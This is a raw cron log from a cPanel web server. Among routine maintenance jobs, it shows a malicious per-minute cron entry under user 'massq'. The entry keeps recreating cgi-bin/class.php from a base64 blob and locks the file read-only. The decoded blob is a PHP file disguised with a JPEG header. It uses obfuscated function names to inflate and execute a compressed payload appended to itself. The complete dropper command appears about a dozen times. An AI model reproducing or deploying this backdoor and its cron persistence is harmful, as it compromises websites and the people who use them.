Sep 10 17:58:01 server CROND[8061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:59:01 server CROND[8442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:59:01 server CROND[8443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:59:01 server CROND[8444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:00:01 server CROND[8824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:00:01 server CROND[8825]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 18:00:01 server CROND[8827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:00:01 server CROND[8829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:00:01 server CROND[8833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:00:01 server CROND[8834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:00:01 server CROND[8838]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:00:01 server CROND[8836]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:00:01 server CROND[8835]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 18:00:01 server CROND[8842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:01:01 server CROND[9683]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 18:01:01 server CROND[9685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:01:01 server CROND[9684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:01:01 server CROND[9686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:01:01 server run-parts(/etc/cron.hourly)[9683]: starting 0anacron
Sep 10 18:01:01 server run-parts(/etc/cron.hourly)[9706]: finished 0anacron
Sep 10 18:02:01 server CROND[10097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:02:01 server CROND[10098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:02:01 server CROND[10099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:03:01 server CROND[10503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:03:01 server CROND[10504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:03:01 server CROND[10505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:04:01 server CROND[10981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:04:01 server CROND[10982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:04:01 server CROND[10983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:05:01 server CROND[11368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:05:01 server CROND[11370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:05:01 server CROND[11374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:05:01 server CROND[11372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:05:01 server CROND[11373]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:05:01 server CROND[11376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:05:01 server CROND[11375]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:05:01 server CROND[11377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:06:01 server CROND[12206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:06:01 server CROND[12207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:06:01 server CROND[12208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:07:01 server CROND[12600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:07:01 server CROND[12602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:07:01 server CROND[12603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:08:01 server CROND[12963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:08:01 server CROND[12965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:08:01 server CROND[12964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:09:01 server CROND[13445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:09:01 server CROND[13448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:09:01 server CROND[13447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:09:01 server CROND[13446]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 18:10:01 server CROND[13839]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
